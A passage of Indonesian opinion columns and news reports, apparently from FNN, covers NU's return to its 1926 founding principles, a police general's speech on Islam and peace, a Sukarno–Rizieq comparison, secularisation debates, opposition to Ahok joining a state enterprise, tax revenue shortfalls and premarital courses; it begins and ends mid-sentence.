Asembagus Situbondo, dan akhirnya dapat diputuskan pada 1884, yaitu pada Muktamar NU ke-27 di Situbondo. “Menurut Gus Dur (KH Abdurrahman Wahid), kelompok khittah pada saat pergolakan itu, terbagi menjadi tiga kelompok, yaitu khittah murni, khittah plus, dan khittah minus. Lah kita ini yang mana? Semoga kita termasuk yang khittah NU murni,” jelasnya. Mengacu pada cerita pendirian NU, di mana Kiai As’ad mengemban amanah dari Syaikhona Kholil Bangkalan untuk memberikan tasbih beserta perangkat wirid “Ya Jabbar Ya Qohhar”, Kiai Azaim menyebut bahwa tasbih itu sekarang ini sudah berputar. “Seperti ada yang dibersihkan, tapi tasbihnya tidak sampai rusak. Terus tidak lepas (butir tasbihnya) tapi kotorannya yang lepas. Yang kami cita-citakan khidmah kepada pendiri NU. Itu yang membuatkan kami siap dengan penuh senang hati mengadakan acara ini,” ujarnya. Dengan satu harapan, lanjutnya, tersenyumnya Kiai Syamsul Arifin, senyumnya Kiai As’ad, Kiai Fawaid, terlebih senyumnya para muassis (pendiri) NU. Dan semoga Insyaallah Kanjeng Nabi Muhammad SAW juga rida,” pungkasnya. Seperti yang diketahui, demi tewujudnya NU yang kembali kepada jalurnya, yaitu Khittah 1926 yang digariskan oleh pendirinya, Komite Khittah 1926 NU mengumpulkan para ulama, kiai, dan habaib di PP Salafiyah Syafi’iyah Sukorejo, Kamis (21/11/2019). Dalam silaturahmi itu, ratusan ulama, kiai, dan habaib dari berbagai daerah di Indonesia hadir untuk merembukkan format perjuangan dalam mengembalikan NU kepada relnya. Penulis wartawan senior.

Komjen Pol. Dharma, "Islam Itu Sangat Mencintai Kedamaian"

Komjen Polisi Dharma mengingatkan tentang masalah radikakalisme dan terorisme sebagai bagaian dari rekayasa global. Mereka merekayasa ketakutan pada manusia. Yang melakukan rekayasa tersebut adalah rezim globalisasi. Targetnya, menciptakan pola pikr manusia yang tidak akan bisa lepas dari rekayasa teknologi informasi dan komunikasi. By Kisman Latumakulita Jakarta, FNN – Rasulullaah SAW berkata “tidak berimannya kamu sampai kamu mencintai sesamamu seperti kamu mencintai dirimu sendiri”. Begitulah maknanya Muslim. Itulah kalimat paling indah, berkelas dan bermartabat dari ajaran Rusulullaah SAW yang dikutip oleh Wakil Kepala Badan Siber dan Sandi Negara (BSSN), Komjen Polisi Drs. Dharma Pongrekun MM. MH. Komjen Polisi Dharma menyampaikan hadits Nabi Muhammad SAW tersebut, ketika menjadi pembicara pada “Indonesia Islamic Young Leaders Summit” yang diselenggarakan di Gedung Nusantara V Kompleks Parlemen Senayan Jakarta, Sabtu 23 November 2019 kemarin. Dalam pandangan Komjen Polisi Dharma, Islam adalah Agama yang sangat mencintai nilai-nilai kedamaian. Islam memang mengajarkan untuk saling mengasihi, dan menyayangi diantara sesama muslim. Namun Islam juga menyuruh untuk saling mengasihi dan menyayangi diantara sesama umat manusia. Bahkan, Islam sangat mencintai kedamaian pada lingkungan alam semesta. Sampai pada titik ini Dharma menyatakan tidak sependapat dengan pendapat yang mengait-ngaitkan Islam dengan terorisme. Dia juga menolak pendapat yang mengaitkan Islam dengan radikalisme dan intoleransi. Jendral bintang tiga termuda di polisi ini mengambil sikap yang berdeda dengan sementara pihak yang mencoba mengindentikan Islam dengan terorisme, radikalisme dan intoleransi. Menurut Dharma yang baragama Kristen Protestan itu, Islam telah mengajarkan kita untuk saling mencintai diantara kita. Islam juga mengajarkan kita untuk hidup saling mengasihi diantara sesama manusia. Artinya, Islam itu sangat mencintai kedamaian. Apalagi Islam yang di Indonesia. Kedamaian tentu saja menjadi segala-galanya bagi kehidupan berbangsa dan bernegara kita. Sejarah masa lalu, posisi geografi dan pejalanan masa depan akan mengikat kita. Untuk itu, jangan sampai ada pihak yang bisa memisahkan kita. Sebab kita bisa bersama-sama dalam mencitapkan pilar-pilar yang saling menghormati, menyayangi dan mencintai diantara kita. Tujuannya, mendukung kebaikan bersama bagi generasi yang akan datang. Radikalisme Rekayasa Global Pada kesempatan tersebut, Komjen Dharma juga mengingatkan tentang masalah radikakalisme dan terorisme sebagai bagaian dari rekayasa global. Mereka merekayasa ketakutan pada manusia. Yang melakukan rekayasa itu adalah rezim globalisasi. Targetnya, menciptakan pola pikr manusia yang tidak akan bisa lepas dari rekayasa teknologi informasi dan komunikasi. Ciri yang menonjol dari rekayasa yang diciptakan oleh rezim globalisasi itu adalah menimbulkan rasa takut. Pola pikir manusia yang selalu dipernuhi dengan rasa takut, karena angka-angka. Misalnya, bakal kekurangan angka pada reziki atau pendapatan. Takut kalau selalu saja kurang dan kurang. Reziki yang diberikan dari Allaah, Tuhan Yang Maha Esa tidak pernah cukup atau lebih. Pada rasa ketakutan ini, manusia cenderung tidaklagi menyandarkan diri atau mendekatkan diri kepada kebesaran Allaah, Tuhan Yang Maha Pengasih dan Penyayang. Manusia lebih cenderung manyandarkan diri pada kekuatan diantara sesama manusia. Mencari perlindungan kepada manusia, yang dianggap paling kuat atau lebih kuat. Orang-orang dari komunitas intelijen menyebut rekayasa globalisasi ini dengan sebutan “teori bullshit”. Dimana, merekalah yang menciptakan rasa ketakutan tersebut kepada manusia. Namun setelah ketakutan itu tercipta, mereka sendiri yang datang, dan menawarkan diri sebagai dewa penolong. Jadinya, mereka yang tampil sebagai pahlawannya (iNews.ci.id). Berdasarkan latar belakangnya, praktek dan dampak dari rekayasa globalisasi itu dikatagorikan dalam beberapa kelompok. Misalnya, ada kelompok yang menyiapkan program, yang meliputi uang, kekuatan, dan kontrol terhadap populasi. Sedangkan stretaginya itu dilakukan dengan cara-cara Terstuktur, Sistematis dan Masif (TSM). Visinya adalah merekayasa kehidupan (life engineering). Sedangkan misinya adalah menyatukan semua sistem kehidupan di dunia. Untuk menangkal pengaruh redikalisme dan terorisme tersebut, Komjen Polisi Dharma menghimbau, agar kita harus kembali kepada nilai-nilai moral dan keimanan yang diperintahkan Tuhan melalui para Nabi dan Rasul-Nya. Perlu untuk dibangun kembali rasa saling mencintai dan menyayangi diantara sesama manusia, seperti yang telah diajarkan oleh Rasulullaah SAW. Salain itu, juga dibangun semangat gotong-royong dan saling membantu satu sama lain diantara kita. Kembali kepada Allaah Sehari sebelumnya, Jum’at 22 November 2019, di depan sekitar 700 mahasiswa Universitas Univeritas Hamka, Dharma mengingatkan tentang pengaruh globalisasi, yang merupakan sistem dari supra sistem global. Mereka rezim global ingin merekayasa kehidupan manusia. Caranya, dengan mamanipulasi pola pikir manusia. Untuk mencapai maksud tersebut, diciptakanlah berbagai rekayasa dan ketakutan kepada manusia. Antara lain, melakukan rekayasa kecerdasan. Mereka juga membuat rekayasa-rekayasa konflik. Setelah rekayasa konflik tersebut berhasil, langkah berikutnya mereka sendiri yang melakukan penyerangan terhadap hasil rekayasa konflik yang mereka buat tersebut. Harus diakui bahwa pengaruh globalisasi tersebut, telah membawa kerusakan fatal bagi kehidupan manusia. Antara lain, runtuhnya nilai-nilai kesakralan dalam kehidupan manusia, terutama kehidupan keluarga. Selian itu, hilangnya keintiman hubungan dintara sesama umat manusia. Pudarnya integritas sosial yang murni. Terjadi juga perubahan pada gaya hidup yang menaggalkan aspek moralitas, nilai-nilai luhur dan agama. Benteng paling ampuh untuk mengahadapi serangan dan pengaruh rezim globalisasi tersebut adalah kembali lagi kepada nilai-nilai agama yang diajarkan para Nabi dan Rasul. Karena di dalam ajarannya para Nabi dan Rasul tersebut, terkandung nilai-nilai Pancasila yang kini menjadi dasar negara kita bangsa Indonesia. Dharma memberi contoh, para Nabi dan Rasul mengajarkan kita tentang berperilaku adil bagi seluruh umat manusia. Selain itu, menjunjung tinggi dan mengedepankan kemanusian diantara sesama kita. Setelah itu, kita duduk untuk bermusyawarah dan bermufakat tenteng setiap perosalan mungkin ada dantara kehidupan sosial kita. Setiap ada perbedaan yang timbul, bingkai penyelesaiannya adalah musyawarah dan mufakat. Semua persoalan bisa diselesaikan dengan musyawarah mufakat. Kalau kita mau untuk duduk berkumpul dan bermusyawarah dengan adil. Setelah itu diikuti dengan samangat untuk saling sayang-menyayangi (rasa kemanusian) diantara sesama anak bangsa, maka akan tercipta persatuan dan kesatuan. Itulah esensinya nilai-nilai dasar negara kita Pancasila. Penulis adalah Wartawan Senior

Rizieq vs Sukarno, Siapa Yang Lebih Hebat?

By Dr. Syahganda Nainggolan Jakarta, FNN - Suatu waktu, beberapa tahun lalu, supir rental dan sahabat politik saya, Harun Songge, memberitahu saya di subuh hari bahwa perjalanan ke gunung Kelimutu, Flores dibatalkan. Info dari pelayanan turis di Hotel, karena sudah mulai hujan gerimis dan kabut gelap. Kami menginap di Ende beberapa puluh kilometer dari gunung itu. Menginap di Ende karena saya memberi ceramah di Taman Renungan Sukarno, di kota Ende. Saya sampaikan ke Songge bahwa jika Sukarno bisa bertapa di puncak gunung Kelimutu itu. Puncak tugu Sukarno, maka saya dulu aktifis student center di ITB. Tempat Sukarno kuliah dan menjadi aktifis, insya Allah akan sampai juga ke puncak gunung itu. Di bawah kaki gunung Kelimutu. Yang tingginya setengah gunung Gede - Puncak, alias 1600-an meter, guide atau pemandu atau kuncen kalau di Jawa, mengatakan hujan kabut gelap ini akan berubah terang jika "arwah" Bung Karno dan roh-roh penjaga mengijinkan kita sampe ke puncak. Dulu, ada presiden Indonesia, coba-coba untuk naik ke puncak gunung. Namun gagal, karena kabutnya tidak mau pergi dari puncak gunung Kelimutu. Padahal aparat sudah mengerahkan pawang hujan. Singkat cerita, kami pelan-pelan mendaki ke atas. Hujan dan kabut pun pelan-pelan menghilang. Saya pun berjam-jam merenung di puncak Tugu Sukarno itu. Sebuah tempat mistis, dikelilingi tiga danau indah. Tempat Sukarno bertapa menggali Pancasila. Pancasila Bung Karno di Ende bukanlah sebagai anak umur millenial yang plesiran. Meskipun dia seorang engineer atau arsitek yang jumlahnya segelintir saat itu. Yang punya kesempatan dibayar mahal. Namun Sukarno ketika itu merupakan tawanan kolonial Belanda. Yang di usia mudanya radikal dan menghasut orang-orang Indonesia untuk melawan Belanda. Pengasingan di Ende, dari tahun 1934-1938. Dengan beban keluarga yang berat, Sukarno harus berpikir keras merumuskan sebuah ideologi bagi adanya suatu bangsa merdeka kelak. Merenung di kota atau desa kala itu. Bisa juga di taman renungan. Bertapa di puncak gunung, diantara orang-orang Katolik dan Islam di sana, serta melakukan surat menyurat dengan tokoh-tokoh bangsa, termasuk A. Hasan, tokoh agama di Jawa Barat, membuat Bung Karno mempunyai konsep holistik tentang Pancasila. Apa itu konsep holistik? Peratama, konsep holistik Pancasila harus bisa menjelaskan tentang masyarakat dan bangsa apa Indonesia itu? Kedua, bagaimana pendekatan dalam merumuskan konsep itu? Bung Karno adalah seorang insinyur maupun arsitek. Cara insinyur mendekati persoalan (approach) adalah "problem solver". Ini tentu sangat berbeda dengan cara filosop dan agamawan yang mengagungkan nilai. Begitu pula dengan ahli-ahli ilmu sosial yang mendekati persoalan dengan kesempurnaan konsepsi. Holistik di sini jadinya melihat realitas. Menemukan masalah dan memecahkannya. Realitas bangsa kita saat itu adalah bangsa dalam cengkraman kolonial. Masalahnya adalah keterpecahan. Lalu bagaimana cara untuk menemukan pemecahannya? Dengan pendekatan itu, maka Bung Karno sejak awal menyatakan bahwa Indonesia adalah bangsa yang integralistik. Dia melihat ada tiga komponen dasar bangsa kita. Pertama masyarakat Islam. Kedua, masyarakat adat. Ketiga, masyarakat progresif revolusiner. Ketiga ini dibahas Bung Karno, sebelum masa pengasingan di Ende itu, yakni dalam tulisannya "Islamisme, Nasionalisme dan Marxisme". Mungkin berbeda dengan Supomo, yang benar-benar intelektual. Dalam meyakini masyarakat integralistik, Bung Karno bisa jadi lebih pada "oedipus effect". Yang dia maksud rekayasa sosial untuk menyatukan tiga komponen utama bangsa tersebut. Pemikir pejuang seperti Muhammad Natsir maupun Tan Malaka berbeda dengan Bung Karno. Sebagai ahli ilmu sosial dan logika misalnya, menawarkan suatu masyarakat paripurna. Natsir menawarkan ummah. Sedangkan Tan Malaka menawarkan kaum proletar Murba. Hanya Sukarno yang menawarkan ketiga kelompok masyarakat. Kelompok-kelompok Islam (dan agama), Nasionalis dan Marxist. Ketika kelompok tersebut, terus bersama-sama mengklaim eksistensi sebagai bangsa Indonesia. Bangsa ini ketika dihadapkan pada kolonialisme, Bung Karno mencari spirit patriotisme dari ketiga elemen itu. Dalam Islam bung Karno mendorong munculnya modernisme agama (bukan Islam Sontoloyo). Sedangkan dari nasionalisme didorong munculnya spirit cinta tanah air, dan dari marxisme didorong munculnya gerakan kaum tertindas. Bagaimana Rizieq Temukan Pancasila? Rizieq bukanlah seperti Sukarno dalam mendekati masalah tadi. Sebagai cendikiawan, Rizieq memulai penggalian Pancasila dari konsepsi. Lalu setelah itu mencarinya di dunia nyata, di belantara kemiskinan Jakarta. Kemudian kembali merumuskannya di Universitas. Metoda ini sering dikenal dengan nama “aksi-refleksi-aksi atau refleksi-aksi-refleksi”. Penjelajahan Rizieq pada Pancasila membuat Rizieq menawarkan konsepsi masyarakat Islam sebagai superior pada skala bangsa. Pertama, Rizieq meneguhkan sila Ketuhanan sebagai sentral atau yang utama. Sebaliknya Soekarno menempatkan sila ini sebagai sila terkahir. Kedua, Rizieq membangun platform kebersamaan nasional pada isu kebangkitan kaum miskin. Dari sisi kebangkitan kaum miskin, Rizieq berbeda dengan Marxisme. Sebab Marxisme yang melakukan pembelahan sempurna kaum miskin versus kaum kapitalis. Kebangkitan kaum miskin dalam pandangan Rizieq, merujuk pada Islam. Dapat menerima dukungan dari kaum kapitalis yang tercerahkan atau mau berbagi kepada kaum dhuafa itu. Sukarno VS Rizieq Orang-orang besar adalah orang-orang yang muncul dari penjara ke penjara maupun dari pengasingan (exile) ke pengasingan. Sukarno dan Habib Rizieq adalah dua sosok bangsa yang mengalami penderitaan panjang dalam hidupnya. Dalam konteks penjara dan pengasingan. (Tentu saja bukan koruptor) Dari sisi ini, kita akan melihat Sukarno dan Habib Rizieq mewakili dua sosok tokoh bangsa yang sejajar. Ajaran Bung Karno yang utama adalah Kebangsaan. Ajaran Rizieq yang utama adalah Ketuhanan. Namun, keduanya kemudian masuk pada agenda yang sama, yakni pembebasan. Tema pembebasan Bung Karno adalah melawan penindasan kolonial. Sedangkan tema pembebasan Rizieq adalah pembebasan dari cengkraman oligarki kapital. Sesungguhnya ini sama, meski tidak sebangun. Lawan dalam definisi Bung Karno adalah penjajah dan penjajahan. Sedangkan dalam defini Rizieq, lawan adalah oligarki dan rezim anteknya. Saat Bung Karno memilih bersekutu dengan Jepang, tahun 1942-45, tujuan Bung Karno adalah melawan kolonial Belanda. Jadi, bukan pengkhianatan Bung Karno atas cita-citanya. Rizieq ketika membangun persekutuan dengan keluarga Cendana, dia tidak melihatnya sebagai pengkhianat cita-cita pula. Jadi, meskipun Bung Karno dan Rizieq berbeda dalam penekanan terhadap jawaban atas persoalan di awal, namun spirit berikutnya tentang pembebasan, sama dan sejalan. Ada kesamaan yang dipunyai oleh Bung Karno dan Habib Rizieq Penutup Membandingkan Sukarno versus Habib Rizieq adalah penting untuk melihat secara tulus kedua sosok pahlawan bangsa kita dalam melakukan pembebasan kaumnya. Pendekatan yang dilakukan Bung Karno mengalami pelecehan ataupun penolakan dari berbagai tokoh waktu itu, seperti Syahrir, Tan Malaka, Natsir dan lain-lain. Misalnya, Tan Malaka lebih suka melecehkan Bung Karno sebagai kolaburator. Rizieq saat ini juga banyak mendapat kecaman. Karena dianggap akan menihilkan agenda kebangsaan dengan superioritas Islam. Ketika Rizieq dan Rachmawati Sukarnoputri berjumpa pertama sekali, sebelum aksi 212 pada tahun 2015, keduanya berusaha mencari temuan jalan tengah antara Sukarnoisme dan Rizieqisme tersebut. Jalan bangsa ini masih panjang untuk membangun berdasarkan ajaran pembebasan ala Bung Karno dan ala Rizieq. Kaum tertindas menunggu perubahan sosial secepatnya untuk adanya kebahagian bersama. Kita harus mempercepatnya dengan mendorong adanya sintesa Soekarnoisme dan Rizieqisme dalam perjuangan bangsa. Bukan membandingkan siapa yang lebih hebat. Tidak perlu melihat lebih jauh lagi pada judul di atas. Karena mereka dua tokoh ini besar, dalam jamannya yang berbeda. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Sekulerisasi Arab dan Islam Indonesia

Hamzah Yusuf, bule Amerika yang sekarang jadi syeikh dan pakar keislaman, terpincut hatinya oleh Al-Qur’an Surat Yusuf. Mantan musisi Inggris Cart Steven yang telah mejadi Yusuf Islami setelah menjadi Islam, terhanyut oleh Al-Qur’an surat Maryam. Dia menjadi salah satu penda’wah terkemuka di Eropa dan Amerika sekarang. Oleh Kafil Yamin Jakarta, FNN - Tanggal 25 Oktober lalu, TV Prancis saluran berbahasa Arab, France 24, menayangkan acara Hiya Ahdats. Acara ini membahas buku penulis Tunisia, Hela Wardi, berjudul “Al-khulafa ar-rasyidin tahta dlilaala as-suyuf” (Khulafa ar-Rasyidin di bawah bayang-bayang pedang). Selang beberapa hari, di stasiun TV yang sama, berlangsung diskusi bertema ”Al-khulafa ar-rasyidin aslu al-khalaaf?” (Khulafa ar-Rasyidin biang perpecahan?) Acara tersebut, lagi-lagi membahas buku lain penulis Tunisia itu berjudul, “al-khulafa wa la’nat Fatimah” (Khilafah dan terkutuklah Fatimah), dan ciutan twitter seorang peneliti Mesir, Islam Phari, berbunyi “La’natullah ‘ala khilafah”. Dalam acara dialog itu, baik pembawa acara dan para nara sumber tampil sangat modis. Mereka yang perempuan tampil tanpa mamai kerudung atau jilbab. Tampilan kasual, layaknya perempuan di TV-TV Eropa atau Amerika pada umumnya. Dari acara talkshow itu, gambaran umum yang didapat adalah bahwa khulafa ar-rasyidin itu, asal sekaligus sumber perpecahan ummat Islam. Perpecahan itu terjadi sampai hari ini. Titik awal mulanya adalah dari menit-menit wafatnya Rasulullah Muhammad SAW. Tergambar di talkshouw itu bahwa Abu Bakar Assidiq, Umar Bin Khatab, Ubaidah ibnu Zubair, para pemuka Anshar, bukan lagi pribadi-pribadi saleh. Merek bukan lagi yang yang memiliki tingkat ketakwaan di atas rata-rata. Melainkan mereka iru hanya sekedar para pemain politik yang ambisius. Mereka melakukan berbagai manuver politik ketika jasad Nabi Muhammad SWA masih terbaring. Ketika jenazah Rasulullah SAW belum dimakamkan. “Lahum mala’ikah. Wa lahum as-syayaathiin,” kata Hela Wardi tentang para sahabat nabi yang sangat mulia dan dijamin masuk syurga tersebut. Pengajar ilmu kesusastraan dan peradaban itu bahkan berpendapat lebih aneh lagi. Menurut Hela Werdi, Nabi Muhammad SAW tidak meninggal di Madinah. Dia berpendapat Rasulullaah SAW meninggal dunia di Gaza. Dalam beberapa hal, pemikiran-pemikiran itu kelihatannya menguatkan anggapan-anggapan kaum Syi’ah. Sebaliknya, menyangkal dasar-dasar faham kaum Syunni yang selama ini tertanam kokoh di berbagai madrasah, perguruan tinggi, pesantren, buku-buku keislaman. Sekarang ini, pendapat-pendapat tersebut masih dipandang sebagai ide-ide sempalan. Namun dengan dukungan media secular, ide-ide tersebut, kini mulai mengarus utama. Di Indonesia prosesnya berlangsung lebih cepat lagi. Karena bukan sekedar didukung oleh media asing, tetapi juga media pendukung pemerintah. Kelompok Islam sekuler tersebut, semakin banyak populasinya. Indonesia kini harusnya sudah dilihat sebagai salah satu wilayah utama suburnya penyebaran faham sekularisasi. Indonesia menjadi wilayah paling subur bagi "kebangkitan kaum munafikun". Di Indonesia, thesis Milkul Yamin, dosen Universitas Islam Negeri Sunan Kalijaga Jogyakarta, menyatakan bahwa dalil-dalih keagamaan yang mengesahkan LGBT, dan labelisasi ‘radikal’ atas sistem khilafah memiliki benang merah dengan ‘kegelisahan akademis’ di Timur Tengah. Islam Eropa & Amerika Namun sebuah antitesa terhadap sekulerisasi Islam itu sedang berlangsung di Eropa dan Amerka. Makin banyak orang-orang Amerika dan Eropa yang masuk Islam. Mereka umumnya masuk Islam setelah merasa menemukan kebenaran dalam al-Qur’an dalam bentuk mushaf sekarang ini. Setelah bersyahadat, mereka tampil sangat Islami. Biasanya segera mengganti nama Baratnya dengan nama yang diambil dari al-Qur’an. Dan bagi perempuan yang baru masuk Islam, meraka segera menutup seluruh bagian tubuh yang dianggap aurat. Mereka berkerudung, berbusana lengan panjang dan longgar, sehingga tak menampilkan lekukan tubuh. Lauren Booth, Ingrid Mattson di Inggris, Nur Naseer, Nur Saadeh di Amerika Serikat, mengiringin pertambahan kaum perempuan di wilayah itu yang makin banyak memeluk Islam. Mereka mengubah penampilan yang semula kebarat-baratan menjadi muislimah yang berjilbab. Hamzah Yusuf, bule Amerika yang sekarang jadi syeikh dan pakar keislaman, terpincut hatinya oleh Al-Qur’an surat Yusuf. Mantan musisi Inggris Cart Steven yang telah mejadi Yusuf Islami, terhanyut oleh Ala-Qur’an surat Maryam. Dia menjadi salah datu penda’wah terkemuka di Eropa dan Amerika. Suhaib Webb, pemuda Amerika yang mantan DJ, kini telah menjadi pendakwah di Amerika. Dia lunglai dan tidak berdaya setelah membaca surat Al-Maidah. Begitu pula dengan Jeffrey Lang. Professor ahli matematika yang dulu seorang ateis tersebut, hanyut ke dalamal-Qur’an melalui susunannya sekarang yang disebut sebagai mushaf utsmani. Melihat perkembangan Islam di Eropa dan Amerika, tampaknya pusat Islam sedang berpindah dari Timur Tengah ke Eropa dan Amerika. Dan itu sesuai dengan sifat dasar Islam yang memang rahmatan lil ‘alamin. Dengan demikian, Islam moderat Indonesia semakin tidak lagi relevan. Penulis adalah Wartawan Senior

Kalau Ahok Kangen Bentak-bentak, Kerja di Swasta Saja

By Asyari Usman Jakarta, FNN - Nama Basuki Tjahaja Purnama (BTP) alias Ahok kembali menghebohkan publik. Kali ini penyulutnya adalah kemungkinan besar dia masuk ke salah satu BUMN. Bisa sebagai komisaris utama, bisa juga sebagai direktur utama (dirut). Bahkan sudah banyak yang menyebut Ahok akan menjadi dirut Pertamina atau PLN. Dia sudah dipanggil Menteri BUMN Erick Thohir. Pokoknya, hampir pasti Ahok menjadi petinggi BUMN. Apalagi, Presiden juga mendukung penuh. Jokowi malah salut dan yakin pada kemampuan Ahok. Tapi, publik bereaksi keras. Ada tiga hal yang menjadi sorotan. Pertama, soal kemampuan (profesionalisme) Ahok di bidang bisnis. Dan kedua, soal dugaan keterlibatan Ahok di sejumlah kasus korupsi. Ketiga, watak dan sifat-sifat Ahok. Mengingat ketiga hal inilah, publik berpendapat Ahok tidak layak bekerja di BUMN. Pertama, soal kemampuan bisnis. Menurut para pengamat ekonomi-bisnis, Ahok tidak punya rekam jejak dalam mengelola sebuah perusahaan. Apalagi perusahaan besar yang beraset besar pula –seperti Pertamina. Kalau Ahok dipaksakan masuk ke BUMN, diperkirakan akan menimbulkan kegaduhan. Misalnya, dia akan mengatakan begini, sementara para staf senior mengatakan harus begitu. Yang kedua, soal dugaan keterlibatan Ahok di sejumlah kasus korupsi. Ada kasus RS Sumber Waras. Di kasus ini, hasil audit BPK menunjukkan ada kerugian negara yang cukup besar. Ada kasus Taman BMW dan kasus lahan Cengkareng Barat. Ketiga kasus ini terkait soal lahan. Patut diduga negara mengalami kerugian ratusan miliar rupiah di dalam ketiga kasus ini. Kemudian, ada pula dugaan korupsi terkait penyaluran dana CSR (corporate social responsibility atau tanggung jawab sosial perusahaan) yang melibat Ahok Centre sekitar 2016. Patut juga diduga ada korupsi dalam proyek reklamasi yang melibatkan Ahok. Semua dugaan korupsi itu masih menggantung di atas langit Ahok. Dan juga akan terus membayangi langkah-langkah mantan wagub DKI era Jokowi itu. Inilah salah satu aspek yang akan memberatkan Ahok. Yang ketiga, soal watak Ahok yang terbiasa memaki-maki bawahannya. Suka membentak-bentak stafnya di depan umum. Penuh keangkuhan. Dia memang hebat di bidang bentak-membentak. Juga maki-memaki orang. Itulah yang dia tunjukkan semasa menjabat gubernur. Tidak diragukan kemampuannya untuk urusan teriak-teriak menggunakan kata-kata kasar dan kotor. Ahok tidak segan-segan mengucapkan kata t*ik, dll. Kekasaran dan keangkuhan Ahok bisa menyulut kegaduhan besar. Di Pertamina, serikat pekerja di situ awal-awal menyatakan penolakan terhadap Ahok. Di kalangan akar rumput pun, penolakan Ahok masuk BUMN sangat gencar. Banyak sekali artikel argumentatif di media sosial yang menjelaskan agar Ahok tidak diangkat menjadi petinggi BUMN. Bahkan berbagai diskusi berlangsung di banyak tempat. Dengan pembicara para pakar bisnis dan manajemen. Rata-rata pengamat berkesimpulan bahwa Ahok tidak pas memegang posisi di BUMN. Itulah yang menjadi fakta. Penolakan terhadap Ahok sangat keras dan meluas. Tapi, kelihatannya, para penguasa diperkirakan justru akan meremehkan penolakan itu. Jokowi dan Erick tak akan hirau dengan protes publik. Tinggal Ahok sendirilah yang berpikir. Bijak atau tidak masuk ke BUMN. Kita hanya bisa mengatakan, kalau Ahok kangen membantak-bentak orang atau memaki-maki seenaknya dengan teriakan keras, sebaiknya dia bekerja di perusahaan swasta saja. Bukankah banyak perusahaan yang cocok dengan gaya Ahok?[] 21 November 2019 Penulis wartawan senior.

Pajak Jeblok, Begini Tanggapan Komisi XI DPR RI

By M H Minanan Jakarta, FNN – Anggota Komisi XI DPR RI, M. Sarmuji membuka suara menanggapi perihal pendapatan penerimaan pajak oleh pemerintah Indonesia yang mengalami penurunan pada kuartal III 2019 di ruang kerjanya, Rabu (18/11). Menurutnya, dengan kondisi kondisi ekonomi saat ini Pemerintah harus berupaya untuk menggenjot penerimaan pajak Indonesia yang menurun atau mengalami kondisi kurang baik. “Penerimaan pajak Indonesia pada kuartal III 2019 mengalami kondisi yang tidak aman,” tuturnya pada pembukaan wawancara singkat diruang kerjanya. Kalau dibandingkan dengan januari – oktober 2018. Saat itu penerimaan perpajakan secara nominal memang lebih rendah yaitu Rp. 1.160,66 Triliun, namun secara presentasi terhadap target jauh lebih baik yaitu mencapai 71,73%. Mengutip riset CNBC Indonesia, Selasa (19/11/2019). Perolehan pajak yang meleset jauh dari target ini, memicu tafsir yang tak berkesudahan. Mengingat waktu yang ditempuh sangat sempit sehingga butuh kerja ekstra untuk dapat memenuhi target. “melakukan sesuatu untuk mencapai target setahun dalam satu setengah bulan itu tidaklah mudah, sudah sangat terbatas apa yang mau dilakukan”, pungkasnya pada pembukaan obrolan. Saat ini per Januari – Oktober 2019 tercatat Rp. 1.173,9 triliun. Angka ini hanya 65,7% dari target yang ditetapkan dalam APBN 2019 sebesar Rp. 1.786,4 triliun atau 82,5%. Artinya pemerintah bekerja ekstra keras mengumpulkan Rp. 612,5 triliun dalam tempo satu setengah bulan sebelum 2019 berakhir. Dia pun menambahkan, dengan fakta ini, suka tidak suka memang harus diakui, pertumbuhan penerimaan pajak mengalami penurunan 16.8% dari target APBN yang ditentukan oleh Pemerintah. “Setidak-tidaknya itu, ada beberapa yang mungkin masih bisa dipacu, misalkan dengan cara memanfaatkan automatic change of information pertukaran data dari Negara lain, tentang warga Negara Indonesia yang memiliki uang (kekayaan) diluar negeri. Kalau itu bisa memajukan potensi pajak, itu bisa dikejar”, ujar Sarmuji menyarankan, disampaikan saat diwawancarai diruang kerjanya Gedung Nusantara I DPR RI, Rabu (20/11/2019). Dewan dari Fraksi Golkar ini mengatakan, haru ada upaya dari pemerintah secara cerdas dalam memperhatikan sektor – sektor potensial, yang memberikan inkam kepada Negara. “Yang bisa dilakukan ialah menggali sektor – sektor potensial, misalkan sektor perdagangan, industry, konstruksi masih bisa di optimalkan penerimaannya serta mengggali wajib pajak potensial seperti profesi yang menghasilkan duit banyaklah,” tandasnya menyarankan. Dalam pemaparan dia juga menyinggung pola dan cara Negara – Negara maju membangun tumpuan pajak Negara. Optimalisasi pajak banyak dihasilkan dari wajib pajak perorangan dan bukan wajib pajak badan. Hal ini disebabkan, kesadaran membayar pajak dari masing – masing orang itu sudah cukup tinggi sehingga potensi pajak secara individual pun menjadi besar. Sehingga penyelesaian pajak di Indonesia saat ini yang dapat dilakukan adalah pengendalian sektor wajib pajak NPWP yang efektif dan keterbukaan pelaporan serta ketaatan membayar wajib pajak pribadi itu yang memungkinkan untuk dilakukan dalam waktu satu setengah bulan ini, untuk mengejar target penerimaan perpajakan tahun 2019 ini.

Rakyat Perlu Kerja Pranikah, Bukan Kursus Pranikah

By Asyari Usman Jakarta, FNN - Seperti orang linglung para penguasa kita ini. Pada saat anak-anak muda memerlukan lapangan kerja, yang mereka sediakan malah bimbingan untuk menjadi pengantin. Ketika anak-anak muda memikirkan situasi masa depan, para penguasa malah sibuk mengajarkan mereka tentang perkawinan. Sangat konyol, rasanya. Mau dibilang ini gagasan yang tak becus, nanti tersinggung. Padahal, memang mengada-ada. Bapak-ibu para penguasa yang terhormat! Khususnya kepada Menko Pembangunan Manusia dan Kebudayaan (PMK). Yang menjadi masalah besar itu bukan persiapan anak-anak muda menuju rumah tangga. Melainkan mau buat apa mereka setelah berumah tangga. Di tengah ketidakpastian. Yang menjadi masalah itu adalah lapangan kerja. Bukan bagaimana cara berumah tangga. Kalau Anda prihatin terhadap angka perceraian, misalnya, itu bukan berpunca dari ketidaksiapan menuju rumah tangga. Melainkan karena pernikahan menjadi labil akibat kesulitan sehari-hari yang dialami banyak keluarga. Kalau Adan temukan begitu banyak persoalan di keluarga-keluarga muda, itu bukan karena mereka tak mengerti cara bersuami-istri. Melainkan karena mereka setiap hari diteror oleh penghasilan yang tidak menentu atau bahkan tidak ada. Bukan karena mereka tak mengerti berkasih sayang. Seorang pejabat supertinggi mengatakan bahwa melalui kelas bimbingan, masyarakat yang akan berencana menikah diberi bekal mengenai pengetahuan seputar kesehatan reproduksi, penyakit-penyakit yang mungkin terjadi pada pasangan suami-istri hingga masalah stunting pada anak. Reproduksi? Penyakit? Stunting anak? Mungkin juga menjadi masalah. Tapi, tidak urgen. Pastilah orang paham soal kekurangan gizi (stunting). Ini bersumber dari kekurangan bujet keluarga. Keuangan keluarga yang tidak 